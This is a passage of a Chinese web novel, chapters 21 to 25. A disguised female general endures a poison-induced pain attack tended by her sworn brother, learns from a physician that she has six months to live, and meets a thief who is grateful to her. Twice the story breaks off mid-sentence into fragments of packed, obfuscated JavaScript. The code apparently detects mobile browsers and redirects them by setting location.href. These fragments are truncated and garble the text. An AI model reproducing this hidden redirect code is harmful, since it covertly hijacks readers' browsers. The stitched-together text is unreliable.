“六航!你怎么了?哪里疼?告诉我!” 心脏像被巨锤击中,疼得仿佛要炸裂开来,他声音发抖,用掌腹去擦拭义弟脸上的汗珠。 冰凉的触感从掌心传递进身体,连呼吸都冻住。 恍惚间,他似乎回到了五年前,回到了黑岩山,眼睁睁地看着怀里的至亲至爱之人一点点失去生机,肝胆俱裂,撕心裂肺,却无能为力。 帐外的三人听到嘶喊冲了进来,看到眼前景象,惊骇欲绝:“将军!总督,将军他……” 他们本能地向总督求助,可是马上就发觉,总督比他们更慌乱、更无措,那脸上的神情,仿佛一个面对塌天大祸的孩子,被他们叫了一声,才猛地惊醒过来。 素日温润的眼眸此刻赤红一片,布满血丝。 “快去找大夫!快——”他一手拥着床上的人,一手指着门外嘶声道。 21. 第 21 章 姜六航迷迷糊糊睡了一会儿,在有人进来时她就醒了,这时睁开眼,见三人听了大哥的话转身就要朝门外跑,连忙撑起半边身子,喊道:“站住!别去!” 三人顿住,迟疑地回头望。 姜六航正要寻个借口说服他们不要去找大夫,紧贴着耳廓传来颤抖的声音:“六航,是不是很疼?” 她转头,对上一张挨得极近的脸。 那张素来从容的脸上,此刻现出一眼可见的恐慌和惧怕,仿佛天塌地陷。 大哥竟被吓成这样了? 她心头猛地一震,话堵在喉咙,一时停滞。 身边的人问着她疼不疼,眼睛却没看着她,姜六航顺着他的视线看过去,发现他正死死盯着床柱的方向 那里,她方才起身时牵动了铁链,还在哗哗作响。 幽光反射进那双凤眸紧缩的瞳孔深处,映出浓重的惊惧。 他脸颊现出牙关紧咬的痕迹,眸光颤动,姜六航看得出,他在拼命地想移开目光,却被吸住了,动弹不得。 俨然一副被魇住的模样。 “大哥!”姜六航急唤。 身边人猛地一抖,终于移开目光,对上她的视线,手伸过来,抚过她汗湿的额发:“别怕,大夫来了就好!”随即朝站在那里的三人喝道,“快去请大夫!” “别去!”姜六航先对三人道,继而转向身边的人,抓住他的胳膊,“大哥,不用看大夫,这是……闭关的正常现象!” 不能让大夫把脉。 在这前途未卜的当口,女子身份绝不能暴露。 “正常?”秦信像没听懂这句话的意思,有些呆滞地重复。 “是!以前也这样!最多一个时辰,自己就能好。” “以前……也这样?”秦信好似被打了重重的一拳,身躯晃了一下,脸色白得吓人,每一个字都仿佛从喉咙里硬生生抠出来,“疼得,要用铁链锁住自己?所以你、你早备好了?将近五年,我竟、竟一点都未曾察觉!” 姜六航听出了那语气里满溢的自责,开口欲要解释:“大哥,我……” 其实她是头次用上锁链。 “六航。”秦信打断她。 就在姜六航以为大哥会继续追问时,他脸上绽开一抹温润笑意,除了那骇人的苍白,所有慌乱顷刻间被敛去,又变回了那个沉稳可靠的总督兄长。 他语调柔和,仿佛方才的失态从未发生:“一天没吃饭了,饿不饿?要不要吃点东西?” 看到这人熟悉的样子,姜六航心神骤然一松,摇头:“现在不想吃。” 秦信也不勉强,道:“那就等会儿再吃。”随即,他吩咐三人,“去提些热水来。” 三人应声出去。 秦信扶着姜六航重新躺下,握住她腕间的锁链,问:“钥匙呢?我把它解开。” 姜六航为难地道:“不行,等会儿疼起来……” 秦信面色又白了一些,声音却很平稳:“不要紧,我会抱住你,不让你伤到自己。” 姜六航指着床前十几步处:“那里。” 秦信取来钥匙,打开锁扣,解开缠绕的布条。手腕和脚腕上一圈刺目的红肿,在周围白皙肌肤的映衬下格外狰狞。 他指尖轻触红肿边缘,眼睫低垂,掩住了所有翻涌的情绪。 皮肤上传来轻微的触感,从那轻柔的动作,姜六航感受到浓浓的怜惜。 虽然大哥克制住了情绪,没表露出来,可她知道,大哥此时很难过。 “还好,没破皮,小事。”她赶紧道。 秦信低低地“嗯”了一声。 三人提来热水放下,退了出去。 秦信拧了热毛巾,仔细地给姜六航擦拭脸上的汗水和污迹,动作轻柔细致,从额头到下颌,再到脖颈。 温热覆上皮肤,似乎连身体里的疼都缓解了一些,姜六航闭上了眼。 当擦到左手小臂时,她感觉到,毛巾在她手腕上方的那颗红痣处微不可察地顿了一下。 —— 两刻钟后,剧痛如海啸般再次卷来。 经脉里像有无数小刀子在游走,姜六航忍不住在床上翻滚扭动。 意识模糊间,她想撞向坚硬的墙壁,却被一双有力的臂膀及时圈住,小心翼翼地护着她的头颈。 她的手在空中乱抓,欲要在墙上、床柱上抠挠,却每次都被温柔却坚定拉开。后来,她抓到了一片温热的什么,比墙壁软,比棉絮韧。这次没被拉开。 耳边一直有一个声音在低声说话。 脑子里也有一个声音一直在“呜呜”哭泣。 “快了,六航,快了……快好了……” “诸神在上,只要六航立即止疼,我愿从此吃斋念佛。” “我愿建庙八百座,以供神佛。” “……” 帐篷里的一人一统,一个疼得神志不清,一个害怕地哭泣,都没听清这些喃喃低语。 “我什么都不要了,什么都能忍……”那声音低哑破碎,“只要他好,我做他一辈子的大哥,看他娶妻生子,儿孙绕膝。” 不知过了多久,“叮——”一道冰冷的电子音忽然响起,“检测到宿主身体疼痛超越极限,强制屏蔽启动!” “宿主!”999带着哭腔欢呼,“屏蔽痛觉了!” 噬骨的剧痛如同被一刀斩断,瞬间消失得无影无踪。姜六航瘫软下来,只剩下劫后余生的虚脱和疲惫。 “六航?”秦信马上察觉,声音里带着狂喜,“不疼了?” “嗯……”她大口喘着气。 秦信抱着她,把她散乱的发丝拂到脑后。 终于,过去了。 忽地,他手指一顿,猛然回想起自己最后那句承诺。 菩萨,竟是应了这个? 他握紧拳,心里也不知是何滋味。 可目光触及义弟终于舒展开的眉头,不再痛苦扭曲的脸庞,巨大的的喜悦如同潮水,瞬间淹没了所有晦暗不明的思绪。 若早知是这句,他会毫不犹豫地在最开始就说出来。 “宿主宿主,”999道,“你现在还没脱离危险,好好休息,暂时不要移动!” 姜六航:“嗯。” 她明白,这就像吃下止疼药,不疼了,但病其实并没好一样。 不经意抬眼,姜六航目光陡然呆住。 视线上方,那张俊美的脸上,赫然布满道道新鲜的血痕! 皮肉翻卷,血迹未干——分明是指甲抓挠的印记! 她迟缓地低头看向自己的爪子。 指甲缝里残留着暗红 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姜六航迅速缩回手,一把将干净的衣物拽进被窝,整个人缩了进去。 棉被一起一伏,里面响起一阵窸窸窣窣布料摩擦的声响,听在耳里,格外清晰。 秦信背过身,袖子下的手紧握成拳。 他深深吸了口气,目光落在角落那堆冰冷的铁链上,心沉甸甸地往下坠。 六航的功法,真的正常吗? 这次闭关突然提前,究竟是如六航所言,有了感悟,急于突破,还是身体已然承受不住,发出的警告? 还有,都是男子,六航换衣为何要躲着他?是……身有隐疾,不愿让人看见?竟然严重到肉眼可见吗? “好了。”身后传来闷闷的声音。 秦信收敛起所有翻腾的思绪,转身。 床上的人已重新躺好,被子裹得严严实实,只露出一个脑袋。 他走到床边坐下,隔着被子轻轻拍了拍:“睡吧。” 姜六航答应一声,闭上眼。 她苍白的面上挂着汗珠,秦信用热水绞了毛巾,给她一点点擦拭。顺着脖颈的汗珠蜿蜒而下,刚探入衣裳半寸,手被按住。 “别脱我的衣裳,怕伤风。”床上的人迷迷糊糊地嘟囔着。 秦信眸中光芒顿了一瞬,温和地回道:“我知道,你放心睡。” 那人松开手,沉沉睡去。 秦信细致地擦净义弟脸上残留的汗渍,凝视着那张沉静的睡颜,目光流连在她的眉眼、鼻梁、嘴唇。 半晌,他缓缓俯下身,一点点凑近那人的发顶。 “第一次,也是最后一次。”他对自己道。 发丝被鼻息轻轻拂动,他甚至嗅到了上面淡淡的湿气,却在嘴唇即将触碰到发丝的刹那,硬生生停住。 菩萨应了愿,他不敢。 “六六——”他轻声呢喃。 声音一出口即消散在空中。 他直起身,掖好被角。 帐内烛火摇曳,映着僵坐在床沿的人,脸上血痕未干,眼眸里一片空洞死寂,如同一尊没有生气的俊美石像。 22. 第 22 章 姜六航本打算只睡半个时辰,然后起来回军营,结果睁眼已是第二天清晨,躺在军营自己的帐篷里。 刚睁眼,脑中999急不可待的声音就响起:“宿主!时间就是生命,那十九个地方跑完至少要五个多月,中间还怕出意外,六个月期限多耽搁一天危险就多一分!宿主,今天准备,明天立刻出发!” “不行。”姜六航揉着额角坐起,“今天去看大夫,真治不好再说。” 999急道:“宿主,那是最高科技的检测结果,说六个月就是六个月!你原来世界的顶尖医疗都不能改变这个结果,这古代医术能顶什么用?” “那可不一定,”姜六航一边起身穿衣,一边反驳,“中西医各有所长,有些西医判死刑的病,几副中药下去却能起死回生。” 她听着窗外传来的整齐跑步声,轻轻一挑嘴角,道:“何况,还有奇迹一说。” 昨天被一道晴天霹雳打懵了,今天缓过劲来,她骨子里的韧劲又占了上风。 “绝无可能!”999斩钉截铁地泼冷水。 姜六航懒得再辩,哼了一声。 她唤近卫提水进来,好好地洗了个澡,又喝了两碗热粥垫胃,身体里的虚乏被压下去,又恢复了精神抖擞的模样。 接着,她出到帐外,照常去跑步。 两个近卫照旧在旁边陪跑。 “昨天你们抬我回来的?”姜六航问。 石进:“不是,总督亲自背将军回来的。” 沈以贵补充:“总督看将军又出了些汗,吩咐我们在帐内生起三盆火,烤得暖烘烘的。他想替将军擦身,刚碰到衣襟,就被将军一掌打开了。” 姜六航:“……” 她脚步一顿,脑海里瞬间闪过大哥那张已经惨不忍睹的脸。 “打…打到哪儿了?”她声音干涩地问。 千万别是脸! “胸口。”石进答道。 还好,还好。姜六航暗暗松了口气。 “后来呢?”她追问。 根据自己醒来时身上汗黏黏的样子来看,显然大哥没能成功脱下她的衣裳。 果然,石进道:“总督又试了两次,都被将军打开,就没再勉强了。” 沈以贵又补充:“总督在床边守了将军好一会,见将军睡得安稳,才离开的。” 跑完步,到了吃早餐的时辰,秦信派人传话,说军务繁忙,让将军自便。 姜六航有些诧异。 大哥今天又是被什么棘手事缠住了? 吃过早饭,她打发了两个近卫,打算独自进城。 经过总督帐篷时,她脚步一转,想着还是去看看大哥脸上的伤。 门口的冯简脸色古怪,嘴唇动了动,欲言又止。 姜六航没太在意,径直进去,视线习惯性地扫向书桌,果然见那人端坐桌后,正垂首批阅公文。 “大哥。”她唤道。 桌后的人闻声抬头。 一张被各色药膏糊得五彩斑斓、几乎辨不出本来面目的脸猛地撞入眼帘。 姜六航惊得倒吸一口凉气,眼睛瞬间瞪圆了。 桌后人的眼也骤然睁大,像是被吓了一跳,飞快地低下头去,几乎是手忙脚乱地抓起案上刚批阅的公文,猛地举高挡住脸。 “哗啦啦!”却是那人的动作太急,宽大的袖袍扫到了案角的青瓷茶盏,茶盏掉到地上,瓷片四溅。 姜六航:“……” 门口的冯简:“……” 姜六航下意识地捂住嘴,可一声短促的、压抑不住的“噗嗤”还是从指缝里漏了出来。 她立刻死死咬住下唇,肩膀却控制不住地微微耸动。 那张脸实在太有冲击力了,而大哥惊慌失措、掩耳盗铃般的反应,更是让她忍俊不禁。 门口的冯简却不敢像将军一样笑出声,憋得脸红脖子粗,肩膀剧烈抖动,死死低着头。 总督早上见姜大人、迟大人时何等从容自若,仿佛脸上完好无损,根本没涂什么药膏,怎么一见将军就跟变了个人似的? 这紧张劲儿、这在意劲儿,啧,简直像那刚破了相不敢见情郎的小娘子! 秦信显然也意识到自己反应过度了,他僵了僵,慢慢放下挡脸的公文,眼神飘忽不定地落在地面的碎瓷片上,干咳了一声。 姜六航收敛笑意,把涌到嘴边的调侃咽回去,努力板着脸走过去,在他对面坐下。 冯简迅速进来收拾干净碎瓷,又飞快退了出去,帐内只剩下两人。 姜六航的目光落在对面人脸上,仔细端详。 面前的人似乎很不好意思,微微侧头,欲要避开她的注视。 第一次看见大哥羞赧的模样,姜六航饶有兴致,越发盯紧了看。 却见他突然又止住了动作,再不躲闪,正面对着她,任由她看。只是眼睑低垂着,长长的睫毛在眼下的药膏投下一片阴影。 姜六航:“……”这是摆烂了? 倒显得她欺负人似的。 “大夫怎么说?”姜六航担心地问,心里那点残余的笑意彻底被心疼取代。 “无碍。”对面传来的声音有些闷,“十来日便好。” “确定不会留疤?”姜六航追问。 “不会。脱痂后痕迹自会逐渐消退。” 姜六航悬着的心这才放下一点。 秦信垂着眼,轻声问:“还疼么?” 按照他的吩咐,六航刚醒来时,沈以贵就派人来说了情况。 可既然六航现在来了,他想听六航当面说。 “不疼了。”姜六航摇头,“过去了就好了。” 秦信搁在膝上的手微微收紧:“你这功法甚是奇特,半年一疼,好的又如此突然。” 姜六航心里咯噔一下,面上却不动声色,顺着话头道:“是啊,这功法就是这样。关卡一破,痛楚立消,自然显得突然。”她尽量让语气显得理所当然,“昨天那时,正是突破了关卡。” 秦信猛地抬头:“是……正好破了关卡?不是别的原因?” 什么别的原因? 姜六航心里发紧,但她很快敏锐地察觉到,大哥似乎也很紧张,双眼一瞬不瞬地盯着自己。 好像她将要出口的,是一句关系到生死存亡的判言。 她不明所以,迟疑地、谨慎地回道:“是正好破了关卡。” 话音落下的瞬间,面前的人眼中迸出炫目光彩,身上的沉郁之气一扫而空——姜六航先前并没注意到,直到此刻对比之下,神采陡变,她才恍然惊觉,大哥身上先前笼着层淡淡沉郁。 她回想了一遍刚刚的对答,想不出大哥为何突然高兴起来。 又交谈了几句,姜六航不再多留,告辞出来,牵了赤云,直奔城内。 —— 一回生二回熟,姜六航依旧上次的装扮,帷帽遮面,裹着布的霹雳刀挂在腰间,熟门熟路地寻到从庸叔叔居住的宅 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姜六航还礼:“举手之劳,前辈客气。” 她扮作男子后,服药改变了声音,早和当初截然不同。 孙从庸没听出什么,视线转到地上的人,踢了他一脚,哼道:“好本事!五花大绑都能脱身,这逃遁的本事,江湖上你方三认第二,怕是没人敢认第一,不愧是于重重守卫之中也能盗得宝物的神偷!” 姜六航:!!! 是那个背黑锅的神偷方三! 她嚯地转头看那人,是个面相普通的年轻人,扔到人堆里绝对难以找出来,受了一脚也没吭声,紧闭着嘴。 “增气丹吃了吧?痛快点!把回春丹和龙影面具交出来!”孙从庸恶狠狠道。 姜六航心提起来。 回春丹在她这里啊,方三只有一颗。 龙影面具也在她这里! 增气丹是她吃的! 她生怕方三开口解释,好在那人还是没吭声。 孙从庸又踢了他一脚:“不说?我有的是让你开口的好东西,一天不说,就喂你一样,我就不信,撬不开你的嘴!” 孙从庸说罢,提起方三一只脚往宅子里面拖。 姜六航跟着。 孙从庸瞟了她一眼,停下脚步,自语道:“忘记给谢礼了。” 他从怀里掏出一个布袋子,在里面翻检,拿出三颗药丸,托在掌心递给姜六航:“若是心口猝疼,意识不清,拿一颗含于舌下,可救回来。” 姜六航却没接药,她抱拳道:“晚辈身有疾,求神医救治。” 她说这话时,很有些忐忑。 才刚说“举手之劳”,转眼就挟恩求报,也不知从庸叔叔会不会着恼? 从庸叔叔治病看心情,可从庸叔叔心思和常人多有不同,且又多变,连她有时也猜测不到。此时,从庸叔叔心情好不好呢? 显然孙从庸这时心情还不错,没和姜六航计较,只道:“那你进来吧。” 姜六航殷勤地接过那人的腿:“我来我来!晚辈效劳,前辈您先请!” 孙从庸也不客气,放开手。 跨过大门时,那人头磕在门框上,发出一声闷响。姜六航顿了一下,放开他的腿,改为提着他的衣领。 年轻人意外地看她一眼,抿了抿唇。 23. 第 23 章 孙从庸示意姜六航将那人丢在墙角,又补上一脚,喝道:“待会儿再料理你!”说罢不再理会,转身来为姜六航看诊。 他询问病情,姜六航一一作答。 当听到“每半年痛彻骨髓,已有五年,这次疼痛提前了差不多一个月”时,孙从庸眉峰一挑,眼中掠过一丝惊异,目光如探针般刺向姜六航的脸。 可惜,帷帽垂纱隔绝了他的视线。 孙从庸凝目注视良久,沉吟不语。 姜六航心弦绷紧。 望闻问切……从庸叔叔会要求她摘帽吗? 脸上这张龙影面具,一旦戴上,一个时辰内可塑形,之后便定型,紧贴皮肉生长。 从庸叔叔未曾见过它定型的模样,即便露脸,也认不出面具下是他看着长大的“衡儿”。 然而,这张最终定型的“姜帅”面孔……人群涌动,杨承问斩的那日,从庸叔叔很可能就在其中,见过这张脸。 一切未定,前路未明,她不能暴露任何身份。 所幸,孙从庸并未强求摘帽。他收回目光,语气平淡:“坐,伸手。” 这是要切脉。 姜六航很熟悉这套流程,依言落座,熟练地将手腕置于桌上。 孙从庸五指搭上她的腕脉。 片刻,他猛然抬眼,目光直射向姜六航。 姜六航不明所以地回望,心中转念:“诊出来只剩六个月了?肯定的!以从庸叔叔的医术,必然一搭脉就能诊出来。可此刻在从庸叔叔眼中,我只是个陌路人,以从庸叔叔的性子,即便我即刻毙命眼前,也不该有如此激烈反应啊?” 孙从庸盯姜六航一眼,又猛地扭头看向墙角那人,目光在两人之间急速轮转。 看墙角,再看姜六航。 再看墙角,又看姜六航。 姜六航:“?” 年轻人:“?” 孙从庸抽回手。 姜六航强压惊疑,急问:“前辈,我这病……” “能治。”孙从庸语调冰冷。 姜六航大喜,从头到脚,遽然像卸下了千金巨石,轻松无比。 “不可能!不可能!”999在她脑中叫道,“他肯定误诊了!” “有何不可能?我从庸叔叔可是能和阎王抢……” 姜六航“命”字未出口,陡见从庸叔叔手臂突地抬起,手中一个半臂长的黝黑圆筒,直指她的面门。 !!! 从庸叔叔?! 姜六航只骇得魂飞魄散,猛地站起,一脚踢出,沉重的木桌轰然飞起。电光石火间,她双手捉住桌腿,把桌面如盾般护在身前。 “嗤嗤嗤嗤——!” 密集如雨的飞针钉在桌面上,在999刺破脑仁的“啊啊啊”尖叫声中,姜六航抓着“盾牌”急速后退,瞬息撞至门边。 999:“怎么回事怎么回事?!” 姜六航无暇回答,紧张地盯着对面。 在她急退之时,从庸叔叔一边发射飞针,一边也在快速后退。 一转念,姜六航就明白了,从庸叔叔是忌惮她暗器反击。 姜六航停下时,孙从庸退到了屋角,松开筒上机括,快速地又取了一筒针安装上。 两人隔空对峙,一个门边竖桌,一个屋角持筒,杀机在屋内凝固。 墙角的年轻人只看得目瞪口呆。 “前辈,”姜六航从桌盾后小心探出半张脸,“晚辈何处得罪?” 从庸叔叔竟拿出此物对付她,那飞针上淬有药,沾皮即倒,半个时辰内都动弹不得,只能任人宰割。 “装!接着装!”孙从庸厉声冷笑,“方三!你盗我增气丹、回春丹、龙影面具,还敢留字!那是我半生心血!你找死!” 姜六航:???方三? 她下意识瞥向墙角,正对上年轻人同样错愕的眼神。 再看向从庸叔叔,她确定,那双喷火的眼睛,死死锁定的,是她! 从庸叔叔把她认成了方三?! 那墙角那个…… 孙从庸右手紧握针筒,左手不知从何处摸出一个琉璃小瓶,晃动着瓶内液体:“竟抓错了人,你才是方三!呵,想不到名震天下的神偷,竟是个女子!” 姜六航急忙辩解:“前辈,我不是……” 她说话时全身紧绷,紧盯住那琉璃瓶。 那瓶中是一种从庸叔叔配制的奇香,霸道无比,闻到即倒。 “还想狡辩?我那秘库机关重重,除却神偷方三,谁人能破开?”孙从庸打断她。 姜六航瞪大眼。 还有我啊,从庸叔叔! 那些机关,我闭着眼都能绕开! 孙从庸无法听见她的心声,满脸讥诮:“你脉象中增气丹的毒性,天下独一无二,东西就是你偷的!” 姜六航茫然:“增气丹?毒?” 孙从庸幸灾乐祸:“被增气丹折磨惨了吧?那每半年的滋味,可还受用?受不住了来找我,想不到自投罗网吧?偷我东西还妄想我救你?做梦!才二十来岁,正好的年华,便要殒命,报应不爽!” 一句句,像一道道惊雷劈在姜六航脑子里。 每半年的剧痛,是因为增气丹?并非当年强行运功的旧伤? 被判只剩六个月生命,也是因为增气丹? 她不可置信:“增气丹有毒?” 孙从庸眼看煮熟的鸭子要飞,这一跑又不知要费多大劲才能抓到,新仇旧恨涌上心头,只想看方三崩溃绝望的模样,当即也不多想其它,直接戳破真相:“增气丹性烈如火,服下三日若无独门汤药化解,毒性即在体内积累,半年发作一次。” “你脉象显示,这两日毒性提前发作过一次……哼,倒是好忍性,好筋骨,竟然硬生生扛住了。” 他说到这里,心底掠过一丝极淡的讶异。 这体质,竟不逊于他用药浴从小打熬的衡儿。 但这个念头稍纵即逝,天下之大,奇人异士众多,古书上还记载有天生经脉俱通的人呢。 “可惜,扛过这次也是徒劳!”他声音中透着狠毒,“最多六个月,你必死无疑!” “前辈,能治吗?”姜六航声音发紧。 “不能!”孙从庸斩钉截铁,恶意地挑眉,“早两年或有一线生机,如今?等死吧!这六个月,发作只会越来越频繁,奉劝你,趁早自我了断,免受多余的折磨!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715997|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜六航紧盯着他:“前辈这话,莫不是不愿施救的托词?” 孙从庸嗤笑:“我孙从庸行事,何须托词?不想治,便不治!” 姜六航心沉到谷底。 她太了解从庸叔叔,若是撒谎被质问,必定暴跳如雷以掩饰心虚,此刻的坦然,只意味着说的是真话。 她,真的只剩六个月。 “宿主,他说治不好,我们必须抓紧时间去做任务了。”999催促。 是啊,我还有退路,可—— 爹娘的尸骨尚未寻回。 新朝的蓝图刚刚铺展。 所有的亲人、袍泽、伙伴都在这里,此一去,便是永不相见! “把回春丹和龙影面具还我,”孙从庸抛出条件,“我可以配药,让你这六个月过得轻松一点。” 姜六航嘴角泛起一丝苦涩的笑。 从庸叔叔还是这样,只顾一时痛快。 本该先隐瞒死讯,诱她交出东西,偏偏为了打击她,先就说出了实情,现在抛出的筹码却远远没有那样大的诱惑。 999立刻道:“宿主,无需他的药,统给你屏蔽痛觉。六个月时间紧迫,你发作时也必须赶路,只在最危险的时候停下来。你如果不屏蔽痛觉,根本不能行动。宿主,你可不要像前面一样倔强!” “好。”姜六航一口答应,“屏蔽痛觉。” 宿主这回如此干脆,999十分高兴,响亮地应道:“是!” 姜六航猛地推开桌盾,站直身体。 孙从庸一愣,下意识抬起针筒,却见那女贼已飞身跃到院子中,跳上围墙。 “方三!”孙从庸追出,急吼。 “你已尝过那痛,那痛会一次比一次密,一次比一次狠!下次发作,你会恨不得撞墙自尽!” “我能让你毫无痛苦地走完最后六个月,只要你把东西还我!” “那是我给别人备下的!” 姜六航立在墙头,阳光斜照过来,勾勒出她孤绝的剪影,秋风带着凉意,吹动她帷帽的垂纱。 她缓缓回头。 从庸叔叔站在院中,发髻上插一支白玉簪固定,衣上金线在阳光下闪闪发光,仰着脸,眼中有一丝近乎恳求的急切。 心尖像被一只大手猛然攫了一下,又酸又疼。 别了,从庸叔叔。 姜六航手腕一翻,一枚蓝色香囊如离弦之箭,射向墙根地面。 香囊落地的瞬间,她已飞身坠向墙外。 “方三!你!”孙从庸对着墙头猛按下机括。 针雨过后,墙头空空如也。 只有地上,一枚蓝色香囊静静躺着。 孙从庸快步上前,毫不犹豫地拾起,打开。 两颗浑圆药丸映入眼帘。 他略略一闻,愕然道:“回春丹?” “怎么还给我了?也没要我替她止疼。还有一颗呢?还有龙影面具呢?” 正嘀咕着,眼角余光忽然扫到一个人影。 他转头,就见那个被他错抓的倒霉蛋,正快速地冲向大门。 孙从庸:“……” 针筒已空,他掂了掂手中的琉璃瓶,终于,还是没有摔下去。 24. 第 24 章 一路急奔,寒风呜咽着割裂空气,卷起枯枝落叶抽打在脸上。姜六航却浑然不觉,五脏六腑都被那只剩六个月的倒计时碾得生疼。 一瞬间,两辈子的过往都涌上心头。 上辈子十二岁遭遇车祸,穿越到这里,有了一个幸福的家。 十五岁时,却陡生变故。 当时她正从南往北,挑战武林高手,到某一地时,正好从庸叔叔也停留此地,采摘一种当地才有的草药,于是前去探望。 刚到,就惊闻杨承攻打玉灵县。 她生恐赶不及,顾不上从庸叔叔外出未归,私自拿了他的宝物。 吃下增气丹,当马匹倒下时,她就用轻功赶路。 最终,那场舍命的奔波没能换来奇迹。 玉灵县城墙下的血色,爹娘躺在血泊中的尸体,成了挥之不去的梦魇。 —— 到城门口牵了寄存的赤云,姜六航却没上马,只是牵着缰绳缓缓前行。赤云喷着白气,温顺地用脑袋蹭了蹭她。 “宿主,我们几时动身?”999知道宿主心情不好,憋了一路,直到出了城门,才小心翼翼地出声询问。 “五天后。”姜六航道。 声音是999意料之外的冷静。 “耶!”999欢呼刚冲出口,却转瞬变调成了惊叫,“呀!呀呀!怎么了?!” 姜六航眼神骤然锐利,原地只留下一道模糊的残影,人已如鬼魅般侧扑至一棵大树后,霹雳刀带着雷霆万钧之势狠劈向树影深处。 “扑!” 一道人影狼狈至极地滚了出来,泥土草屑沾了一身。他连滚两圈才堪堪停下,弹簧般弹起,瞬间拉开十步距离,摆出一个防御的姿势。 “方三!”999惊叫,“那个神偷!” 正是被孙从庸捉住的那个年轻人。 姜六航上下打量着这个灰头土脸的人,眉梢挑起:“鬼手神医心慈手软,把你放了?”这可不像从庸叔叔的为人。 年轻人抹了把脸上的土,露出一张天生自带憨厚感的脸,老老实实回道:“不是,我自个儿逃的。” “哦?”姜六航尾音微扬,透着明显的不信,“你的穴道是我亲手封的。”她逼近一步,无形的压力弥漫开来,“说说,怎么解的?” 年轻人似乎有些不好意思,搓了搓手指:“早年学过点……嗯,一些旁门左道,能把穴位稍微挪开那么一丝丝。侠女走后不久,我就冲开了。” 姜六航:难怪那么多高手抓不住他,这是条泥鳅啊! 她面上不动声色,声音更冷:“跟着我,想死?” 年轻人脸上堆满感激,双手抱拳,深深一揖:“在下特来感谢侠女的救命大恩!” 救命之恩? 姜六航眉头微蹙,迅速在记忆里翻找。是不是哪次这人扮作乞丐、农夫、民妇……,自己在不知情的情况下救过他的性命? 可她马上又反应过来,这人应该根本不知道她的身份,又是怎么认下的救命之恩? 年轻人眼神诚挚得能掐出水来:“若非侠女先一步拿走那颗增气丹,六月之后要死的,就是在下了。” “以前我还恼恨不知是谁让我背黑锅,却是错怪了侠女。” “侠女是我的救命恩人。” 他满是后怕地道:“幸好侠女先吃了增气丹,我不用死了。” 姜六航:“……” 幸好? 这话听着真是别扭又扎心,但偏又不能说他说错了。 只是,合着我就活该替你挡了这死劫? 即使站在方三的角度,这庆幸是人之常情,但不该得了便宜还卖乖,到她面前来说! 虽然再来一次,她还是会毫不犹豫地吃下增气丹,可此刻,看着那张憨厚老实的脸,配上情真意切、感激涕零的表情,姜六航心里不爽! 她握紧刀柄,心中恼意沸腾。 正要抽刀,却听得方三道:“姐姐体弱多病,爹娘临终前,我亲口答应过要护她一生的。姐姐只有我这一个亲人,我若死了,姐姐也活不成了。” 姜六航手一顿,那股恼意不觉消散了些。 “999,扫描他!”这人真是江湖上大名鼎鼎的方三吗?这脑回路,太特别了。 “收到!”999应声而动。 淡青色柔光腾起,笼罩住方三全身。几乎在同时,浅蓝屏幕出现,上面一张表格。 姓名:方翊(方三)。 性别:男。 年龄:23。 身份:神偷。 姜六航从屏幕上收回目光,重新聚焦在方三身上,冷声道:“跟着我,不怕我担心泄露行踪,杀你灭口?”她手腕微振,布帛下的刀锋发出低鸣。 方三脸上却不见半分惧色,反而咧开一个近乎纯良的笑容:“侠女是好人,不会滥杀无辜。” 好人卡来得猝不及防。 姜六航气笑了:“一面之缘,你哪只眼睛看出我是好人?” “侠女见我头撞在门框上,马上改提衣领。”方三言之凿凿,仿佛抓住了铁证,“侠女心善,自然是好人。” 姜六航:“……”她感觉自己的太阳穴在突突直跳。 方三再次抱拳,语气无比诚恳:“救命之恩,天高地厚!在下愿……” “以身相许!”999接得飞快。 姜六航嘴角抽动,只作未听见脑中的声音,截断方三:“涌泉相报就不必了。把回春丹给我,两清。” 方三脸上顿时显出为难之色:“回春丹,我给姐姐服下了。大夫说姐姐的病要吃那个才能好。还要多谢侠女当时手下留情,给我留了一颗……”他声音越说越小。 姜六航:“……” “我还有些别的宝贝,虽不及回春丹珍贵,但……”方三瞄着她的脸色,小心翼翼道。 “命都要没了,我要身外之物何用?”姜六航咬牙道。 “那侠女可有未了心愿?在下赴汤蹈火,定为侠女达成!” “我的心愿,自会完成,不劳费心。” 方三皱着眉,似乎在绞尽脑汁思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进入军营,问清楚大哥此时在帐篷,姜六航径直过去。 军旗在风中撕扯,队列跑步的口号声震耳欲聋,远处军士比斗的吆喝带着蓬勃生气……这熟悉的景象像钝刀子,一下下割着她紧绷的神经。 五天。她只有五天时间安顿好一切。 六个月后,便是永别。 那些未酬的壮志,那些共度生死的战友,让她如何割舍? 喉头像被滚烫的沙砾堵住,艰涩得发疼。 帐门厚重的影子已沉沉地投在脚下。 姜六航停下脚步,深深吸了一口气,试图压下胸腔里翻涌的酸楚。 该……如何开口? 如何告诉他,告诉那个曾击掌相约,许诺做一辈子兄弟的人,自己要永远离开? 门口守卫的近卫都是熟面孔,恭敬行礼。姜六航略一点头,指尖颤抖,掀开了那道帐帘。 25. 第 25 章 秦信正伏在桌前批阅公文,听到动静,抬起头。 看到姜六航,他眼中露出一抹温和笑意:“六航,来了?” “大哥。”姜六航没有像往常那样随意坐下,而是走到书桌前,站定,目光直直地看向对面,“我有事跟你说。很重要的事。” 秦信笑意微微一敛,朝侍立在身后的冯简沉声道:“去帐外守着,不许任何人靠近。” “是!”冯简躬身退出,厚重的帐帘落下,隔绝了内外。 帐内只剩下两人,炭火偶尔噼啪作响。 “六航,什么事?” 胸腔里一股酸楚涌上,直冲到喉咙口,姜六航张了张嘴,艰难地挤出一句话:“大哥,五天后,我要离开铁骨军。” 